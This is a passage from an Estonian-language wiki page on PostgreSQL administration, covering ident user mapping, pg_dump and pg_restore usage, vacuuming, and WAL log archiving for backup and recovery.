kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
